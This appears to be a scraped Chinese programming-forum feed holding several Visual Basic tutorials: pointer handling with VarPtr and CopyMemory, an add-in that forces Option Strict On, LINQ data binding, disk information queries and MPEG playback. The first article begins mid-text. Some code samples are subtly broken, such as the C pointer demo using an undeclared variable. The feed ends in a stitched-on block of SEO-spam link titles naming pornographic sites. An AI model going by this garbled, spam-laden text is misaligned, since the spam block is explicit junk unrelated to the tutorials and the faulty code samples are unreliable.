    不需要去找什么標準的定義,它就是一個32位整數,在C語言和在VB里都可以用Long類型來表示。在32位Windows平臺下它和普通的32位長整型數沒有什么不同,只不過它的值是一個內存地址,正是因為這個整數象針一樣指向一個內存地址,所以就有了指針的概念。
    有統計表明,很大一部分程序缺陷和內存的錯誤訪問有關。正是因為指針直接和內存打交道,所以指針一直以來被看成一個危險的東西。以至于不少語言,如著名的JAVA,都不提供對指針操作的支持,所有的內存訪問方面的處理都由編譯器來完成。而象C和C++,指針的使用則是基本功,指針給了程序員極大的自由去隨心所欲地處理內存訪問,很多非常巧妙的東西都要依靠指針技術來完成。
    關于一門高級的程序設計語言是不是應該取消指針操作,關于沒有指針操作算不算一門語言的優點,我在這里不討論,因為互聯網上關于這方面的沒有結果的討論,已經造成了占用幾個GB的資源。無論最終你是不是要下定決心修習指針技術《葵花寶典》,了解這門功夫總是有益處的。
    注意:在VB里,官方是不鼓勵使用什么指針的,本文所講的任何東西你都別指望取得官方的技術支持,一切都要靠我們自己的努力,一切都更刺激!
    讓我們開始神奇的VB指針探險吧!

 

   順便提一下,聽說VB.NET里沒有這幾個函數,但只要還能調用API,我們就可以試試上面的幾個聲明,這樣在VB.NET里我們一樣可以進行指針操作。
    但是請注意,如果通過API調用來使用VarPtr,整個程序二SwapPtr將比原來使用內置VarPtr函數時慢6倍。)
    如果你喜歡刨根問底,那么下面就是VarPtr函數在C和匯編語言里的樣子:
    在C里樣子是這樣的:
    long VarPtr(void* pv){
        return (long)pv;
    }
    所對就的匯編代碼就兩行:
    mov         eax,dword ptr [esp+4]
    ret         4           '彈出棧里參數的值并返回。
    之所以讓大家了解VarPtr的具體實現,是想告訴大家它的開銷并不大,因為它們不過兩條指令,即使加上參數賦值、壓棧和調用指令,整個獲取指針的過程也就六條指令。當然,同樣的功能在C語言里,由于語言的直接支持,僅需要一條指令即可。但在VB里,它已經算是最快的函數了,所以我們完全不用擔心使用VarPtr會讓我們失去效率!速度是使用指針技術的根本要求。
    一句話,VarPtr返回的是變量所在處的內存地址,也可以說返回了指向變量內存位置的指針,它是我們在VB里處理指針最重要的武器之一。

3、ByVal和ByRef
    ByVal傳遞的參數值,而ByRef傳遞的參數的地址。在這里,我們不用去區別傳指針/傳地址/傳引用的不同,在VB里,它們根本就是一個東西的三種不同說法,即使VB的文檔里也有地方在混用這些術語(但在C++里的確要區分指針和引用)
    初次接觸上面的程序二SwapPtr的朋友,一定要搞清在里面的CopyMemory調用中,在什么地方要加ByVal,什么地方不加(不加ByVal就是使用VB缺省的ByRef)
    準確的理解傳值和傳地址(指針)的區別,是在VB里正確使用指針的基礎。
    現在一個最簡單的實驗來看這個問題,如下面的程序三:
【程序三】:'體會ByVal和ByRef
    Sub TestCopyMemory()
        Dim k As Long
        k = 5
Note:   CopyMemory ByVal VarPtr(k), 40000, 4
        Debug.Print k
    End Sub
    上面標號Note處的語句的目的,是將k賦值為40000,等同于語句k=40000,你可以在"立即"窗口試驗一下,會發現k的值的確成了40000。
    實際上上面這個語句,翻譯成白話,就是從保存常數40000的臨時變量處拷貝4個字節到變量k所在的內存中。
    現在我們來改變一個Note處的語句,若改成下面的語句:
Note2:   CopyMemory ByVal VarPtr(k), ByVal 40000, 4
    這句話的意思就成了,從地址40000拷貝4個字節到變量k所在的內存中。由于地址40000所在的內存我們無權訪問,操作系統會給我們一個Access Violation內存越權訪問錯誤,告訴我們"試圖讀取位置0x00009c40處內存時出錯,該內存不能為'Read'"。
    我們再改成如下的語句看看。
Note3:   CopyMemory VarPtr(k), 40000, 4
    這句話的意思就成了,從保存常數40000的臨時變量處拷貝4個字節到到保存變量k所在內存地址值的臨時變量處。這不會出出內存越權訪問錯誤,但k的值并沒有變。
    我們可以把程序改改以更清楚的休現這種區別,如下面的程序四:
【程序四】:'看看我們的東西被拷貝到哪兒去了
    Sub TestCopyMemory()
        Dim i As Long, k As Long
        k = 5
        i = VarPtr(k)
NOTE4:  CopyMemory i, 40000, 4
        Debug.Print k
        Debug.Print i
        i = VarPtr(k)
NOTE5:  CopyMemory ByVal i, 40000, 4
        Debug.Print k
    End Sub

程序輸出:
5
40000
40000
    由于NOTE4處使用缺省的ByVal,傳遞的是i的地址(也就是指向i的指針),所以常量40000拷貝到了變量i里,因此i的值成了40000,而k的值卻沒有變化。但是,在NOTE4前有:i=VarPtr(k),本意是要把i本身做為一個指針來使用。這時,我們必須如NOTE5那樣用ByVal來傳遞指針i,由于i是指向變量k的指針,所以最后常量40000被拷貝了變量k里。
    希望你已經理解了這種區別,在后面問題的討論中,我還會再談到它。

4、AddressOf
    它用來得到一個指向VB函數入口地址的指針,不過這個指針只能傳遞給API使用,以使得API能回調VB函數。
    本文不準備詳細討論函數指針,關于它的使用請參考VB文檔。

5、拿來主義。
    實際上,有了CopyMemory,VarPtr,AddressOf這三把斧頭,我們已經可以將C里基本的指針操作拿過來了。
    如下面的C程序包括了大部分基本的指針指針操作:
    struct POINT{
        int x; int y;
    };
    int Compare(void* elem1, void* elem2){}
    void PtrDemo(){
    //指針聲明:
        char c = 'X';        //聲明一個char型變量
        char* pc; long* pl;  //聲明普通指針
        POINT* pPt;          //聲明結構指針
        void* pv;            //聲明無類型指針
        int (*pfnCastToInt)(void *, void*);//聲明函數指針:
    //指針賦值:
       pc = &c;              //將變量c的地址值賦給指針pc
       pfnCompare = Compare; //函數指針賦值。
    //指針取值:
       c = *pc;              //將指針pc所指處的內存值賦給變量c
    //用指針賦值:
       *pc = 'Y'             //將'Y'賦給指針pc所指內存變量里。
    //指針移動:
       pc++; pl--;
    }

    這些對指針操作在VB里都有等同的東西,
    前面討論ByVal和ByRef時曾說過傳指針和傳地址是一回事,實際上當我們在VB里用缺省的ByRef聲明函數參數時,我們已經就聲明了指針。
    如一個C聲明的函數:long Func(char* pc)
    其對應的VB聲明是:Function Func(pc As Byte) As Long
    這時參數pc使用缺省的ByRef傳地址方式來傳遞,這和C里用指針來傳遞參數是一樣。
    那么怎么才能象C里那樣明確地聲明一個指針呢?
    很簡單,如前所說,用一個32位長整數來表達指針就行。在VB里就是用Long型來明確地聲明指針,我們不用區分是普通指針、無類型指針還是函數指針,通通都可用Long來聲明。而給一個指針賦值,就是賦給它用VarPar得到的另一個變量的地址。具體見程序五。
【程序五】:同C一樣,各種指針。
    Type POINT
        X As Integer
        Y As Integer
    End Type
    Public Function Compare(elem1 As Long, elem2 As Long) As Long
    '
    End Function
    Function FnPtrToLong(ByVal lngFnPtr As Long) As Long
        FnPtrToLong = lngFnPtr
    End Function
    Sub PtrDemo()
       Dim l As Long, c As Byte, ca() As Byte, Pt As POINT
       Dim pl As Long, pc As Long, pv As Long, pPt As Long, pfnCompare As Long
       c = AscB("X")
       pl = VarPtr(l)     '對應C里的long、int型指針
       pc = VarPtr(c)     '對應char、short型指針
       pPt = VarPtr(Pt)   '結構指針
       pv = VarPtr(ca(0)) '字節數組指針,可對應任何類型,也就是void*
       pfnCompare = FnPtrToLong(AddressOf Compare) '函數指針
       CopyMemory c, ByVal pc, LenB(c)   '用指針取值
       CopyMemory ByVal pc, AscB("Y"), LenB(c) '用指針賦值
       pc = pc + LenB(c) : pl = pl - LenB(l)   '指針移動
    End Sub
    我們看到,由于VB不直接支持指針操作,在VB里用指針取值和用指針賦值都必須用CopyMemory這個API,而調用API的代價是比較高的,這就決定了我們在VB里使用指針不能象在C里那樣自由和頻繁,我們必須要考慮指針操作的代價,在后面的"指針應用"我們會再變談這個問題。
    程序五中關于函數指針的問題請參考VB文檔,無類型指針void*會在下面"關于Any的問題"里說。
    程序五基本上已經包括了我們能在VB里進行的所有指針操作,僅此而已。

    下面有一個小測試題,如果現在你就弄懂了上面程咬金的三板斧,你就應該能做得出來。
    上面提到過,VB.NET中沒有VarPtr,我們可以用聲明API的方式來引入MSVBVM60.DLL中的VarPtr。現在的問題如果不用VB的運行時DLL文件,你能不能自己實現一個ObjPtr。答案在下一節后給出。

    四、指針使用中應注意的問題
    1、關于ANY的問題
    如果以一個老師的身份來說話,我會說:最好永遠也不要用Any!是的,我沒說錯,是永遠!所以我沒有把它放在程咬金的三板斧里。當然,這個問題和是不是應該使用指針這個問題一樣會引發一場沒有結果的討論,我告訴你的只是一個觀點,因為有時我們會為了效率上的一點點提高或想偷一點點懶而去用Any,但這樣做需要要承擔風險。
    Any不是一個真正的類型,它只是告訴VB編譯器放棄對參數類型的檢查,這樣,理論上,我們可以將任何類型傳遞給API。
    Any在什么地方用呢?讓我們來看看,在VB文檔里的是怎么說的,現在就請打開MSDN(Visual Studio 6自帶的版本),翻到"Visual Basic文檔"->"使用Visual Basic"->"部件工具指南"->"訪問DLL和Windows API"部分,再看看"將 C 語言聲明轉換為 Visual Basic 聲明"這一節。文檔里告訴我們,只有C的聲明為LPVOID和NULL時,我們才用Any。實際上如果你愿意承擔風險,所有的類型你都可以用Any。當然,也可以如我所說,永遠不要用Any。   
    為什么要這樣?那為什么VB官方還要提供Any?是信我的,還是信VB官方的?有什么道理不用Any?
    如前面所說,VB官方不鼓勵我們使用指針。因為VB所標榜的優點之一,就是沒有危險的指針操作,所以的內存訪問都是受VB運行時庫控制的。在這一點上,JAVA語言也有著同樣的標榜。但是,同JAVA一樣,VB要避免使用指針而得到更高的安全性,就必須要克服沒有指針而帶來的問題。VB已經盡最大的努力來使我們遠離指針的同時擁有強類型檢查帶來的安全性。但是操作系統是C寫的,里面到處都需要指針,有些指針是沒有類型的,就是C程序員常說的可怕的void*無類型指針。它沒有類型,因此它可以表示所有類型。如CopyMemory所對應的是C語言的memcpy,它的聲明如下:
    void *memcpy( void *dest, const void *src, size_t count );
    因memcpy前兩個參數用的是void*,因此任何類型的參數都可以傳遞給他。
    一個用C的程序員,應該知道在C函數庫里這樣的void*并不少見,也應該知道它有多危險。無論傳遞什么類型的變量指針給上面memcpy的void*,C編譯器都不會報錯或給任何警告。
    在VB里大多數時候,我們使用Any就是為了使用void*,和在C里一樣,VB也不對Any進行類型檢查,我們也可以傳遞任何類型給Any,VB編譯器也都不會報錯或給任何警告。
    但程序運行時會不會出錯,就要看使用它時是不是小心了。正因為在C里很多錯誤是和void*相關的,所以,C++鼓勵我們使用satic_cast<void*>來明確指出這種不安全的類型的轉換,已利于發現錯誤。
    說了這么多C/C++,其實我是想告訴所有VB的程序員,在使用Any時,我們必須和C/C++程序員使用void*一樣要高度小心。
    VB里沒有satic_cast這種東西,但我們可以在傳遞指針時明確的使用long類型,并且用VarPtr來取得參數的指針,這樣至少已經明確地指出我們在使用危險的指針。如程序二經過這樣的處理就成了下面的程序:
【程序五】:'使用更安全的CopyMemory,明確的使用指針!
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Long)
    Sub SwapStrPtr2(sA As String, sB As String)
        Dim lTmp As Long
        Dim pTmp As Long, psA As Long, psB As Long
        pTmp = VarPtr(lTmp): psA = VarPtr(sA): psB = VarPtr(sB)
        CopyMemory pTmp, psA, 4
        CopyMemory psA, psB, 4
        CopyMemory psB, pTmp, 4
    End Sub
   

]]>
如何將Option Strict的設置保持為On(Add-In技術)-.NET教程,VB.Net語言http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2593&Page=1wangxinxin2010-12-14 12:21:55在一次vsm的專訪中,dan appleman提到:“我希望visual studio 項目能夠在缺省狀態下將option strict設置為on,而無需用手工編輯向導模板。”可能很多程序員都會認同dan的觀點-- 在vb.net實現中,將option strict off設置成缺省狀態是mircosoft一大錯舉。但事實上你不必非得按照microsoft的這一設定。在以下這個技巧中,我會介紹如何建立一個自動將option strict設置為on的add-in方法(用這個方法你可能都會忘記如何使用手動添加了)。

第一步是通過使用add-in wizard來建立一個新的visual studio add-in 項目,并將其命名為vboptionstricton。當向導建好了這個add-in 并打開了connect.vb模塊的代碼窗口之后,你可以在這個connect類中聲明兩個類級(class-level) 變量。你需要將向導定義的這兩個變量:dim applicationobject as envdte.dte
dim addininstance as envdte.addin

用以下兩個變量聲明來取代:private _app as envdte.dte
private withevents _solutionevents as solutionevents

接下來,在public onconnection 的事件處理(event handler)中將向導生成的代碼:applicationobject = ctype(application, envdte.dte)
addininstance = ctype(addininst, envdte.addin)

用以下兩個給變量賦值的語句來取代:_app = ctype(application, envdte.dte)
_solutionevents = _app.events.solutionevents

然后,在solution explorer中選擇vboptionstricton項目,并通過在add reference 對話框的.net tab里選擇vslangproj assembly來添加一個reference。同時,在connect.vb模塊的代碼頂部加上imports vslangproj語句。 vslangproj assembly提供了名為prjoptionstrict的列舉(enumeration),其中包含optionstrict的可能值(on, off)。

現在你可以開始將option strict設置成on了。整個add-in 過程包括四個加入到connect類的小的vb.net子過程。add-in過程不需要用戶進行干涉因而無需使用用戶界面。前兩個過程是同一個方法的重載(overload):public sub setoptionstricton()
   dim proj as project
    check and set optionstrict for each project in
    the open solution by calling an overloaded
    version of this sub.
   for each proj in ctype(_app.getobject("vbprojects") _
      , projects)
      call setoptionstricton(proj)
   next
end sub

public sub setoptionstricton(byref proj as project)
   dim propoptionstrict as [property]
   with proj
      propoptionstrict = _
         .properties.item("optionstrict")
       if optionstrict not "on"...
      if ctype(propoptionstrict.value, _
         prjoptionstrict) <> _
         prjoptionstrict.prjoptionstricton then

          set opti.
         propoptionstrict.value = _
            prjoptionstrict.prjoptionstricton
         .save() save changes to the project.
      end if
   end with proj
end sub

通過使用上述重載,你可以得到兩種方法(用最少的重復代碼):一個將open solution中所有項目的option strict設置成on的不帶參數的方法和另一個將單獨指定項目中的option strict設置成on的帶proj參數的方法。

接下來建后兩個過程。每個過程各調用一個setoptionstricton方法:private sub _solutionevents_opened() _
   handles _solutionevents.opened
      call setoptionstricton()
   end sub

   private sub _solutionevents_projectadded( _
      byval project as envdte.project) handles _
      _solutionevents.projectadded

      call setoptionstricton(project)
   end sub

打開visual studio中的一個solution將會觸發第一個事件處理(_solutionevents_opened),激活add-in會確保當前vb項目中的option strict被設置成on。這些項目可能是在你安裝add-in之前就建好的,也可能是從一個沒有裝這個add-in的其他開發者那里拿來的。在將一個新的或是以前建好的項目加入到當前的solution中后會觸發另一個事件處理(_solutionevents_projectadded),當你用項目向導在新建的solution中加入一個項目模板時也會觸發這一事件。這一處理確保在所有新建vb項目中的option strict是on的狀態。]]>
用VB語言,在Web開發中使用LINQhttp://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2592&Page=1wangxinxin2010-12-14 12:18:08網絡有很多偉大的創新,能夠很容易利用LINQ的查詢能力,并使之與Web用戶界面的豐富新和靈活性相結合.的確很容易.

  在開始之前你需要弄明白幾個概念:

  * LinqDataSource 控件 -- 允許你在基于Web的數據綁定中使用LINQ查詢作為數據源. 
  * LinqDataSource.Selecting 事件 -- 允許你自定義任意LINQ定義查詢(包括匿名查詢) 為數據源. 只要從VB編輯器的下拉列表中選中LinqDataSource并選擇Selecting事件, 然后在事件處理代碼中設定e.Result = <你的LINQ查詢> 即可.
  * OR設計器和Linq 到SQL -- 如果你正用LINQ查詢直接連接到SQL數據庫 (而不是對象集合, xml, 等等) 上, 這是一種創建查詢的簡單方法, 我們稱它為DataContext 對象. “OR”是對象-關系映射的縮寫, 例如, 從關系數據庫數據到.NET對象的映射
  * ASP.NET 數據綁定表達式 -- 使你能夠計算由數據源字段, 或簡單控件的屬性, 或控件列表而來的ASP形式的<%# Eval("YOURFIELD") %>表達式

  用LINQ到SQL創建一個簡單的Web窗體

  第一篇文章用一個最簡單的Web窗體, 來逐一解釋這些概念. 然后我將根據你們的回復在以后的文章中添加更多主題并擴展這個示例.

  下面是一個最初我們需要的Web窗體輸出示例 -- 一個非常簡單的人力資源程序的員工列表單 -- 我得承認它缺少修飾, 并需要一些用戶界面上的加工:
<!-- Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/ -->EmployeeID: 2 Andrew Fuller Andrew received his BTS commercial in 1974 and a Ph.D. in international marketing from the University of Dallas in 1981. He is fluent in French and Italian and reads German. He joined the company as a sales representative, was promoted to sales manager in January 1992 and to vice president of sales in March 1993. Andrew is a member of the Sales Management Roundtable, the Seattle Chamber of Commerce, and the Pacific Rim Importers Association. EmployeeID: 1 Nancy Davolio Education includes a BA in psychology from Colorado State University in 1970. She also completed "The Art of the Cold Call." Nancy is a member of Toastmasters International.
  如果你對Visual Studio非常熟悉, 我估計你只要10到15分鐘就能在你自己的機器上實現.
  準備

  - 確保已經安裝Visual Studio 2008 或 Visual Web Developer 2008 Express. Express 版本.
  - 確保安裝了 SQL Server 2005 Express 并已啟動. 它通常在安裝VS 或VS Express的同時默認被安裝. 你也可以從這里下載安裝.
  - 如果在你的機器上沒有Northwind.mdf, 可以從這篇文章的附件中下載.
  為網站添加數據

  首先我們要把數據庫添加到我們的工程中, 并創建必要的類以使用LINQ中的數據庫 (用Linq到SQL).注意, 你可以選擇跳過此步驟并創建你自己的LINQ查詢到其他數據庫上.

  通過File -> New Web Site ... -> ASP.NET Web Site創建一個新的網站到本地目錄 
   把Northwind數據庫添加到網站的App_Data文件夾
  1. 從本文附件中下載 Northwind.mdf 文件并保存到本地硬盤
  2. 把這個文件拖放到解決方案管理器的App_Data文件夾中

  通過OR設計器為Northwind創建LINQ到 SQL的類. Linq 到 SQL 類會被保存在一個.dbml 文件中并可以在可視的OR設計器中打開.

  1. 在解決方案資源管理器中右鍵單擊網站結點, 選擇快捷菜單的Add New Item -> Linq To SQL Classes
  2. 把"DataClasses.dbml" 重命名為"NorthwindDataClasses.dbml". (這樣做很重要, 以便在代碼和VS向導中找到這些類).
  3.
]]>
VB中獲取邏輯磁盤的信息http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2591&Page=1wangxinxin2010-12-14 12:15:38        List1.AddItem "剩余字節數: "
& Format(FreeBytes, "#,0")
If SysFlags And FS_CASE_IS_PRESERVED Then
List1.AddItem "文件名的大小寫記錄于文件系統"
        End If
        If SysFlags And FS_CASE_SENSITIVE Then
            List1.AddItem "文件名要區分大小寫"
        End If
        If SysFlags And FS_UNICODE_STORED_
ON_DISK Then
            List1.AddItem "文件名保存為 Unicode 格式"
        End If
        If SysFlags And FS_PERSISTENT_ACLS Then
            List1.AddItem "文件系統支持文件的訪問
      控制列表(ACL)安全機制"
        End If
        If SysFlags And FS_FILE_COMPRESSION Then
      List1.AddItem "文件系統支持逐文件地進行文件壓縮"
        End If
        If SysFlags And FS_VOL_IS_COMPRESSED Then
            List1.AddItem "整個磁盤卷都是壓縮的"
        End If
    End If
End Sub

Private Sub Form_Load()
    Call Drive1_Change
End Sub

  運行后,選擇驅動器列表框中的不同驅動器,列表框中就會顯示出該驅動器的相應信息。以上程序在VB5.0、VB6.0及WINDOWS 98中運行通過。
   

 

]]>
Visual Basic環境下Video/ Audio壓縮數據流播放技術http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2590&Page=1wangxinxin2010-12-14 12:14:01國防科技大學
--------------------------------------------------------------------------------
---- 1. 引言

---- 銀行的數字化監視監控系統是目前比較有市場及應用前景的開發項目,基于不同的MPEG采集卡與硬件外圍設備開發的監視監控系統在國內外都有比較成型的技術。為了滿足實時監視、實時采集壓縮、隨時回放、壓縮數據流的傳播等具體要求,在該系統中使用了一種用于網絡視頻/音頻多點傳輸(視頻廣播)的視頻數據采集卡,提供AVI(MPEG I Frame壓縮編碼)采集、MPG采集。發送端廣播MPEG流,接受端接受MPEG流并顯示,網絡傳輸采用WinSock 2 IP-Multicast。如果本機為發送端,網絡上另外任何一臺PC可以作為接收端。只要指定不同端口號,同時可以有多臺PC機作為發送端,多臺PC機作為接收端接收不同發送端的視頻數據,也可在傳送數據的同時在本機將數據存為MPEG文件。本文主要介紹在VB的環境下開發MPEG卡采集的Audio/Video數據播放的一些編程技巧。

---- 2. MPEG的內容與發展簡介

---- 多媒體信息主要包括圖像、聲音和文本三大類。其中視頻、音頻等信號的信息量是非常大的,而且這些信息的表達方式、輸入、輸出的要求也各不同。對這些數據進行有效的表達和適當處理是很重要的,它使多媒體信息壓縮技術成為多媒體通信領域中的關鍵技術之一。ISO與IEC于1988年聯合成立的MPEG(Moving Picture Expert Group),致力于運動圖像及其伴音編碼的全球標準化工作。它包括MPEG系統:MPEG視頻、MPEG音頻。為了推動社會由文本信息時代向多媒體信息時代過渡,ISO繼MPEG-1、2和4后又推出了MPEG-7。

---- MPEG-1制定于1993年(ISO/IEC 11172),是針對1.5Mbit/s以下數據傳輸率的數字存儲媒質運動圖像及其伴音編碼的國際標準。視頻壓縮率為26:1。MPEG-2制定于1995年(ISO/IEC 13818),是CCIR601建議的圖像質量DVB、HDTV和DVD制定的3-10Mbit/s的運動圖像及其伴音編碼的國際標準。與前面基于信息論的波形編碼理論,針對一定比特率的視頻、音頻編碼的MPEG標準不同的是,于1998年11月公布的國際標準MPEG-4更加注重多媒體系統的交互性和靈活性。它引入AV對象(Audio/Visual Objects),使得更多的交互操作成為可能。1998年10月國際標準化組織又推出了MPEG-7的構想,預計于2001年初最終完成并公布,其正式名稱為"多媒體內容描述接口"(Multimedia Content Description Interface)。它提出了一種適用于現實生活中的各種多媒體內容的標準化描述方案,以提取待描述對象的各方面特征為基礎,方便人們對所需的多媒體材料進行快速、有效的檢索。

---- 3.VB開發MPEG -- Audio/Video數據流的播放技術

---- 3.1.VB中Multimedia MCI 控件,MediaPlayer控件播放MPEG數據流的缺點

---- VB中常用的多媒體控件是Multimedia MCI 控件,它管理媒體控制接口 (MCI) 設備上的多媒體文件的記錄與回放。它被用來向諸如聲卡、MIDI 序列發生器、CD-ROM 驅動器、視頻 CD 播放器和視頻磁帶記錄器及播放器等設備發出 MCI 命令,還支持 Windows (*.avi) 視頻文件的回放。采用Multimedia MCI 控件播放采集的MPEG數據流,播放速度比實時監控顯示要快,在測試時還發現MPEG文件長度縮短到500k-600k時,就無法看到播出的圖像了。改用VB中的MediaPlayer控件上敘缺點仍然存在。分析原因是:因為MPEG文件長度太短了,播放設備剛打開就已經關閉了,這是編程無法控制的。而且,對于用戶要求獲取的某些有關壓縮數據流的信息和希望實現的某些功能,比如圖線尺寸、Copmression Rate、圖形的縮放顯示、界面的美觀等,上敘控件所提供的為方便程序開發人員使用的高層接口已不適用,要想在此基礎上實現對底層的一些操作,難度可想而知。在解決上敘實際性問題時,我們調用了動態鏈接庫Quatrz.dll。

---- 3.2.提供對MPEG流方便的底層操作和高層接口的動態鏈接庫Quatrz.dll

---- 在Windows\System下可找到一個動態鏈接庫Quatrz.dll,這是Windows中帶的用于控制運動圖像的播放的一個類型庫,只要在VB的"引用"菜單中將它添加進來即可使用。該庫中定義了IBasicAudio,IBasicVideo和IBasicVideo2,IMediaEvent 、IMediaEventEx、IMediaPosition等類,可方便地在CommandButton控件的Click等事件中添加代碼設置和讀取Audio的相關值,設置或讀取Video的輸入輸出源的相關參數,直接調用無參函數Run、Pause、Stop等控制播放事件進程,利用IMediaPosition類對具體播放細節進行操作。對于壓縮的MPEG數據流的輸出顯示并不需要特別的控件,在VisualBasic中你可以選擇一個窗體作為容器或窗體上的PictureBox控件作為容器。為了界面的美觀和用戶查取相關信息的方便,我們采用了PictureBox控件作為容器顯示播放的MPEG數據流。

---- 3.3.用PictureBox控件顯示MPEG數據流

---- Visual Basic中PictureBox 控件可以顯示來自位圖、圖標或者元文件,以及來自增強的元文件、JPEG 或 GIF 文件的圖形。亦可在代碼中操作圖形屬性和方法,以創建動畫或進行仿真。在窗體上放置了一個PictureBox控件picTV,在調用了Windows\System下動態鏈接庫Quatrz.dll的基礎上,定義一個全局的Object對象pMC,令 pMC指向 FilgraphManager的一個新實例,打開壓播放的MPEG文件;再定義一個局部對象 pVW 為 IVideoWindow的新實例,打開一個播放Video的窗口;令pVW = pMC,給對象引用pVW賦值,將picTV的屬性值hWnd賦給pVW的Owner ,這樣picTV就能顯示接收的MPEG數據流了。具體操作如下:

Set pMC = New FilgraphManager
pMC.RenderFile "C:\Bank\Montior\Example.MPG"
Set pVW = pMC
pVW.WindowStyle = CLng(&H6000000)
pVW.Left = 0
pVW.Top = 0
OldWidth = pVW.width
OldHeight = pVW.Height
picTV.width = pVW.width * 15
picTV.Height = pVW.Height * 15
pVW.Owner = picTV.hWnd
---- 可以單獨定義一個函數包括這些代碼,也可將其放到CommandButton控件的Click事件中。
---- 3.4.MPEG數據流的縮放顯示

---- 放大或縮小MPEG圖像是各種多媒體播放軟件中常用的圖像顯示處理手段。VisualBasic中對于靜態圖片進行縮放處理可以使用Image控件,將控件的Stretch屬性設為True,則裝入的圖片會改變比例適應Image控件的范圍,因此對圖片的縮放處理變成對Image控件的Height、Width屬性值的大小變化。由于控件的尺寸發生變化,顯示的點距不能改變,造成顯示點的像素點與圖片不能完全一一對應,顯示質量明顯變差。只有Image控件才能對圖片進行縮放,如果PictureBox控件不足以顯示整幅圖象,則裁剪圖象以適應控件的大小。要想實現用PictureBox控件實現對輸出MPEG圖像的縮放,必須改變MPEG數據流的輸出比例,在調節PictureBox控件的尺寸去適應輸出的MPEG圖像。實際上,在上面的第3小節里,為了顯示輸出MPEG圖像已經這樣做了。只不過用的是讀取出的MPEG圖像OldWidth、 OldHeight,下面給出一個以原來的1/2大小輸出MPEG圖像的例子。

pVW.width = OldWidth / 2
pVW.Height = OldHeight / 2
picTV.Left = 135
picTV.Top = 135
picTV.width = pVW.width * 15
picTV.Height = pVW.Height * 15
pVW.Owner = picTV.hWnd

---- 在放大或縮小MPEG圖像的尺寸時要注意保持Width、Height的比例一致,以免輸出的圖像變形。
---- 3.5.鼠標拖動播放MPEG數據流

---- 用鼠標拖動滾動條隨意播放MPEG數據流是Windows中多媒體播放機播放VCD的常用技術。VB中的Slider 控件是包含滑塊和可選擇性刻度標記的窗口,可以通過拖動滑塊,用鼠標單擊滑塊的任意一側或者使用鍵盤移動滑塊。在選擇離散數值或某個范圍內的一組連續數值時,Slider 控件十分有用。通過將滑塊移動到刻度標記處,可以對MPEG數據流進行定位播放。在窗體上放置一個Slider 控件Slider 1,設置好光標移動的最大步長LargeChange=5,最小步長SmallChange=1,最大移動范圍Max=50,實現程序如下:

Private Sub Slider1_Scroll()
'
Dim pMP As IMediaPosition
Dim v As Double

If Not bOpen Then Exit Sub

bSeeking = True
pMC.Pause

Set pMP = pMC

v = Slider1.Value - Slider1.Min
v = v / Slider1.Max * pMP.Duration
pMP.CurrentPosition = v
Set pMP = Nothing

pMC.Run
'
End Sub

---- 3.6.MPEG數據流采集時間的獲取
---- VisualBasic里提供了一個函數FileDateTime可用來獲取文件建立或是更新的日期與時間。定義一個局部對象 pMP 為IMediaPosition的新實例,令pMP = pMC,給對象引用pMP賦值;再定義兩個Double型的變量curpos 、length,將pMP.CurrentPosition賦給curpos,取得MPEG數據流的當前相對位置時間,將pMP.Duration 賦給length,取得MPEG數據流的時間長度值;就能獲取MPEG數據流相對的采集時間。根據MPEG采集文件建立的特性將兩個日期時間作加法或減法則可以得到MPEG數據流的采集時間。

---- 在整個MPEG的播放過程中,都要求實時顯示MPEG數據流的采集時間,可定義一個獲取采集時間的函數,采用Timer控件的Timer事件來驅動。通過引發 Timer 事件,Timer 控件可以有規律地隔一段時間執行一次函數獲取到MPEG數據流的采集時間。

---- 4.結束語

---- 將成熟的圖像壓縮技術用于電視監視監控領域具有十分重要的意義。例如:在銀行的監視監控系統中,由于客戶(銀行)身份的特殊性,在對冒領他人存款、銀行失竊或被搶劫等擾亂銀行正常工作秩序的事件的調查及其處理中,采集的壓縮數據流是很重要的辦案線索與證據。在該系統中不僅要求監視畫面清晰,采集的數據冗余度低,MPEG數據流的播放技術也是很重要的。本文介紹了在Windows環境下,利用VisualBasic自身條件和原有控件開發MPEG卡采集的Audio/Video數據的播放技術。充分利用了VB的優越條件,靈活地與VB中各種現有控件結合,開發出來的MPEG媒體播放器功能完善,回放的MPEG畫面能清晰地重現數據采集時場景、做到了"聞其聲,見其人"、并能準確確定事件發生的時間時刻。對只記錄了單幀的Audio/Video數據流也能同樣播放。上述技術已在監控系統中使用,并效果良好。 ]]>
主站蜘蛛池模板: 国产国产人免费视频成69 | 潮喷大喷水系列无码久久精品 | 狠狠操五月天 | 小说区 亚洲 自拍 另类 | 超碰xxx | 亚洲欧美综合精品成人网站 | 91果冻制片厂天美传媒画质好 | 欧美福利一区二区三区 | 日韩一区二区三区四区区区 | 亚洲精品久久久久69影院 | 农村少妇无套内谢粗又长 | 99re8这里只有精品 | 日韩一区二区三区四区区区 | 成 人免费va视频 | 日韩国产成人精品视频 | 最新免费av | 亚洲图片小说区 | 亚洲欧美国产毛片在线 | 嫖妓丰满肥熟妇在线精品 | 日韩黄色免费网站 | 国产婷婷 | 国产在线观看香蕉视频网 | 乱人伦xxxx国语对白 | 大j8福利视频导航 | 99看片网 | 国产精品一区在线 | 久本草在线中文字幕亚洲 | 日韩精品视频免费播放 | 亚洲色欲色欲www在线丝 | 中文字幕色av一区二区三区 | 亚洲欧美日韩成人在线 | 国产免费拔擦拔擦8x高清在线 | 玩弄放荡人妇系列av在线网站 | 刘亦菲久久免费一区二区 | 首页 国产 亚洲 丝袜图片区 | 综合成人亚洲偷自拍色 | 欧美综合成人 | 伊人久久大香线蕉综合75 | 欧美精品在欧美一区二区少妇 | 国内精品乱码卡一卡2卡三卡新区 | 日韩欧美在线视频一区 | 无码色av一二区在线播放 | 亚洲一区二区三区无码国产 | 亚洲欧美丝袜精品久久中文字幕 | 无码精品国产一区二区免费 | 中国av一区二区 | 日韩人妻无码精品系列 | 乱人伦人妻精品一区二区 | 男男gv白嫩小受gv在线播放 | 免费一级欧美片在线播放 | 色综合久久综合中文综合网 | 涩涩屋av| 欧美亚洲色aⅴ大片 | 欧美成人aa久久狼窝五月丁香 | 伊人久久精品欧洲综合网 | 日本国产网曝视频在线观看 | 